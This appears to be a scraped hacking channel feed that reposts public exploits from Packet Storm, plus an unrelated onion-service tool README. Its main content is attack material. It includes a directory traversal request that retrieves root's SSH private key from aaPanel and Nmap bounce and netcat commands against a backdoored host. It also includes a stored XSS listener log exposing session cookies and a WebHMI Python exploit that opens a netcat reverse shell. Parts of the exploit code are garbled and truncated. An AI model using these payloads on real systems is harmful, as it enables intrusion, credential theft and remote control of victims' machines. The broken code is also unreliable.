Hacking Articles Tips Tricks Videos Tutorials

Backdoor.Win32.Acropolis.10 Insecure Permissions

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 14:22

4 views14:22

4 views14:22

Exploit Collector
aaPanel 6.8.21 Directory Traversal

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
aaPanel version 6.8.21 suffers from a directory traversal vulnerability.

MD5 | 65a27606fbf5a8e19e558dddeb2b9a65

Download

# Exploit Title: aaPanel 6.8.21 - Directory Traversal (Authenticated)
# Date: 22.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://www.aapanel.com/
# Software Link: https://www.aapanel.com
# Version: 6.8.21
# Tested on: Ubuntu

Application vulnerable to Directory Traversal and attacker can get root user private ssh key(id_rsa)

#Go to App Store

#Click to "install" in any free plugin.

#Change installation script to ../../../root/.ssh/id_rsa

POST /ajax?action=get_lines HTTP/1.1
Host: IP:7800
Content-Length: 41
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82
Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://IP:7800
Referer: http://IP:7800/soft
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: aa0775f98350c5c13bfd21f2c6b8c288=d20c4937-e5ae-46fb-b8bd-fa7c290d805a.ohyRHdOIMj3DBfyddCRbL-rlKB0;
request_token=nKLXa4RUXgwBHeWNyMH1MEDSkTaks9dWjQ7zzA0iRc7lrHwd;
serverType=nginx; order=id%20desc; memSize=3889; vcodesum=13;
page_number=20; backup_path=/www/backup; sites_path=/www/wwwroot;
distribution=ubuntu; serial_no=; pro_end=-1; load_page=null;
load_type=null; load_search=undefined; force=0; rank=list;
Path=/www/wwwroot; bt_user_info=; default_dir_path=/www/wwwroot/;
path_dir_change=/www/wwwroot/
Connection: close

num=10&filename=../../../root/.ssh/id_rsa

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

aaPanel 6.8.21 Directory Traversal

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 14:22

3 views14:22

Exploit Collector
Backdoor.Win32.FTP.Ics Man-In-The-Middle

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Backdoor.Win32.FTP.Ics malware suffers from a man-in-the-middle vulnerability.

MD5 | e6f9617a9bdc0e90e9bb64221231efc3

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_C.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Ics
Vulnerability: Port Bounce Scan (MITM)
Description: The malware listens on TCP port 5554 and accepts any credentials. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 584bc06128469423f9e50e8a359d18ac
Vuln ID: MVID-2022-0500
Disclosure: 02/22/2022
Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@192.168.18.125:5554 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:08 UTC-11
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:malvuln@192.168.18.125:5554
Connected:220 ICS FTP Server ready.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 16:08
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 16:08, 2.11s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.27 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.FTP.Ics Man-In-The-Middle

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

2 viewsedited 14:22

Exploit Collector
WebHMI 4.1 Cross Site Scripting

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
WebHMI version 4.1 suffers from a persistent cross site scripting vulnerability.

MD5 | 28777a987bad692ce73ead278c74ce95

Download

# Exploit Title: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 04/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware 4.1.1.7662
# Tested on: WebHMI Firmware 4.1.1.7662

#Steps to Reproduce

1. Login to admin account

2. Add a new register or create new dashboard
insert payload 
in Title field and save.

# Dashboard section impact instantly all logged users.

#Listener log:
GET /?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP/1.1
Host: 192.168.0.169:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-GPC: 1
Referer: http://192.168.0.153/
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

WebHMI 4.1 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

2 viewsedited 14:22

3 views14:22

3 views14:22

4 views14:22

Exploit Collector
Microweber CMS 1.2.10 Local File Inclusion

___________________________
@hacking_Attack
@Hacking_Video

Microweber CMS 1.2.10 Local File Inclusion

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 14:22

Exploit Collector
WebHMI 4.1.1 Remote Code Execution

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png WebHMI version 4.1.1 suffers from an authenticated remote code execution vulnerability.

MD5 | 5c6601f0567f78397ee89c66260a2cd7Download

# Exploit Title: WebHMI 4.1.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 03/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI 4.1.1.7662
# Tested on: WebHMI-4.1.1.7662

#!/usr/bin/python
import sys
import re
import argparse
import requests
import time
import subprocess

print("\nWebHMI 4.1.1 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")
print("Level2 account must be enabled !\n");

login = "admin" 
password = "admin"

class Exploit:

def __init__(self, target_ip, target_port, localhost, localport):
self.target_ip = target_ip
self.target_port = target_port
self.localhost = localhost
self.localport = localport

def exploitation(self):
reverse = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""
payload = ">cmd.php`', cookies=login_cookies)
time.sleep(0.2)

print('[*] Setting up listener...')
listener = subprocess.Popen(["nc", "-nlp", self.localport])
time.sleep(2)

print('[*] Executing payload...')
time.sleep(1)
print('[*] Waiting reverse shell...')
r4 = r.get(url + '/setup/cmd.php?c=`' + reverse + '`.bak', cookies=login_cookies)

if (r4.status_code == 200):
print('[*] Got shell!')
while True:
listener.wait()
else:
print('[-] Something went wrong!')
listener.terminate()

def get_args():
parser = argparse.ArgumentParser(description='WebHMI 4.1.1 - Remote Code Execution (Authenticated)')
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')
args = parser.parse_args()
return args

args = get_args()
target_ip = args.url
target_port = args.target_port
localhost = args.localhost
localport = args.localport

exp = Exploit(target_ip, target_port, localhost, localport)
exp.exploitation()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

WebHMI 4.1.1 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 14:22

Exploit Collector
Backdoor.Win32.FTP.Ics Remote Command Execution

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.FTP.Ics malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 2cba0b8b2807ba610752a11a6744eaf1

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/584bc06128469423f9e50e8a359d18ac_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Ics
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5555. Third-party attackers who can reach the system can run commands made available by the backdoor hijacking the infected host.
Type: PE32
MD5: 584bc06128469423f9e50e8a359d18ac
Vuln ID: MVID-2022-0499
Disclosure: 02/22/2022

Exploit/PoC:
nc64.exe x.x.x.x 5555

C:\dump>
Commande Inconnueexec calc
C:\dump>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Backdoor.Win32.FTP.Ics Remote Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 14:22

5 views14:55

Remote Code Execution in pfSense <= 2.5.2

hacking: security in practice
Remote Code Execution in pfSense <= 2.5.2

https://external-preview.redd.it/Jj3q99cVR6mJmZaki9Q7eehScdLCBL4XrYJHlapnAnc.jpg?width=216&crop=smart&auto=webp&s=490b1c54606f2c8f10e10fe1388c4ab758ec2ef7 submitted by /u/smaury
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Posted in r/hacking by u/smaury • 1 point and 0 comments

8 viewsedited 14:55

How to hunt for bug bounties

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium »
Read more...

8 views15:16

7 views15:30

Onionservice : Manage Your Onion Services Via CLI Or TUI

Kali Linux Tutorials
Onionservice : Manage Your Onion Services Via CLI Or TUI On Unix-like Operating System

Onionservice is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle (manage) his onion(s).

WARNING: do not trust this repo yet, backup your hs keys in another location. This project has not been released and should be considered for development only.

History

This project was started after seeing the amazing OnionShare CLI python scripts, which possibilitates ephemeral onion services that never touch the disk and can be run on Tails or Whonix easily. Then after seeing the RaspiBlitz onion service bash script for the Raspberry Pi, the idea to port it to any Debian distribution started. As the idea grew, using GNU Bash and Linux was a single point of failure 1 2, so the making the script POSIX compliant to be compatible with any Unix-like system was a definitive goal. Goal

The goal of this project is:

* facilitate onion service management, from activating a service to adding client authorization to it, giving the full capabilities of editing files manually would have but with less tipying.
* show the that managing the onion service is much more than just using a webserver with your pages.
* distribution, from the source code level (FOSS) to the effect it takes when it allows anyone to run the code on any operating system, shell or service manager. Mitigation from a single point of failure

Mitigation from a single point of failure:

* Kernel from predominant Linuxto also BSDand any other Unix-like system.
* Shell from predominant Bashto also any POSIX shell such as ksh, (y,d)ashand Zsh(emulating sh).
* Service manager from predominant Systemdto also RC, OpenRC, SysVinit, Runit.

Editing the tor configuration file (torrc) is not difficult, but automation solves problem of misconfiguration and having:

* less time spent by running a single line command
* no downtime by rejecting invalid configuration before applying them to be used
* complete uniformity
* graphical interface to help newbies Features

* Enable service – Create directory if not existent (HiddenServiceDir), select onion version (HiddenServiceVersion), custom socket type being unix or tcp, with as many virtual ports as you would like, as well as targets (HiddenServicePort).
* Disable service – Remove service configuration from the torrc, the service will not be acessible anymore, but you can enable it again any time you want. Optionally purge the service, deleting its configuration and directory, which will delete its keys permanently.
* Renew service address – Focused on private onion services, if you ever leak its address, you can change its hostname, beware all of your authorized clients will be disconnected and the service keys will be permanently deleted.
* Credentials – Show hostname, clients, torrc block, qrencoded hostname.
* Onion authentication – For v3 onion services only. This depends on client and server side configuration and works with a key pair, the client holds the private key part either generate by him (more safe) or given by the service operator and the onion service operator holds the public part. If any if
* Server – Generate key pair or add public part, list client names and their public keys from . If any client is configured, the service will not be acessible without authentication.
* Client – Generate key pair or add public part, list your .

* Onion-Location – For public onion services You can redirect your plainnet users to your onion service with this guide for nginx, apache2 an[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials

Onionservice is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle his onion

7 viewsedited 15:30

Kali Linux Tutorials Onionservice : Manage Your Onion Services Via CLI Or TUI On Unix-like Operating System Onionservice is a minimal requirement, portable collection of scripts and documentation to help the service operator juggle (manage) his onion(s).…

d html header attributes.
* Backup – Better be safe.
* Create – Backup of your torrclines containing hidden service configuration, all of your directories of HiddenServiceDirand ClientOnionAuthDir.
* Integrate – Integrate hidden serivces lines configuration from torrcand the directories HiddenServiceDirand ClientOnionAuthDirto your current system. This option should be used after creating a backup and importing to the current host.

* OpSec – Operation Security
* Vanguards – This addon protects against guard discovery and related traffic analysis attacks. A guard discovery attack enables an adversary to determine the guard node(s) that are in use by a Tor client and/or Tor onion service. Once the guard node is known, traffic analysis attacks that can deanonymize an onion service (or onion service user) become easier.
* Unix socket – Support for enabling an onion service over unix socket to avoid localhost bypasses.

* Web server – Serve files with your hidden service using Nginx or Apache2 web server.
* Usability – There are two dialog boxes compatible with the project, dialogand whiptail.
* Bulk – Some commands can be bulked with the argument @allto include all services or clients depending on the option --serviceor --client, list enabled arguments[SERV1,SERV2,...] and [CLIENT1,CLIENT2,...], the command will loop the variables and apply the combination.
* Fool-proof – The script tries its best to filter invalid commands and incorrect syntax. The commands are not difficult but at first sight may scare you. Don’t worry, if it is invalid, it won’t run to avoid tor daemon failing to reload because of invalid configuration. If an invalid command runs, please open an issue. Requirements

* General:
* Unix-like system.
* superuser privileges to call commands as root and the tor user, with doasor sudo.

* Required programs:
* sh – any POSIX shell: dash0.5.4+, bash2.03+, ksh88+, mkshR28+, yash2.29+, busybox ash1.1.3+, zsh3.1.9+ (zsh --emulate sh) etc.
* doas/sudo (must be already configured)
* tor >= 0.3.5.7
* grep >=0.9
* sed
* tar (Backup)
* openssl >= 1.1 (Client Authorization – requires algorithm x25519, so it can’t be LibreSSL)
* basez >= 1.6.2 (Client Authorization)
* git (Vanguards)
* python(3)-stem >=1.8.0 (Vanguards)
* dialog/whiptail (TUI)
* nginx/apache2 (Web server)

* Optional programs:
* (lib)qrencode >= 4.1.1 (List)

* Development programs:
* pandoc (Manual)
* shellcheck (Review)
If using Vanguards, python2.6is the minimal required for Stem, but it is not going to be installed by default. Instructions Clone the repository

git clone https://github.com/nyxnor/onionjuggler.git
cd onionjuggler

et custom variables

You should not modify the default configuration on /etc/onionjuggler/onionjuggler.conf, it will be modified on every update. Your local configurations should be on /etc/onionjuggler/conf.d/*.conf.

To assign values to the variables, yyou can either:

* Open the mentioned configuration file with your favorite editor:
* “${EDITOR:-vi}” /etc/onionjuggler/cond.d/local.conf

or insert configuration to the end of the file with tee:

printf “su_cmd=\”sudo\”\n” | tee -a /etc/onionjuggler/cond.d/local.conf

or edit with sed:

sed -i” “s|^su_cmd=.*|su_cmd=\”doas\”|” /etc/onionjuggler/cond.d/local.conf

Setup the enviroment

Run from inside the cloned repository to create the tor directories, create manual pages and copy scripts to path:

./configure.sh –install

Usage configure.sh

configure.sh setup the environment for OnionJuggler by adding the scripts and manual pages to path and detecting your operating system[...]

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - nyxnor/onionjuggler: Manage your Onion Services via CLI or TUI on Unix-like operating system with a POSIX compliant shell.

Manage your Onion Services via CLI or TUI on Unix-like operating system with a POSIX compliant shell. - GitHub - nyxnor/onionjuggler: Manage your Onion Services via CLI or TUI on Unix-like operatin...

5 viewsedited 15:30

4 views15:30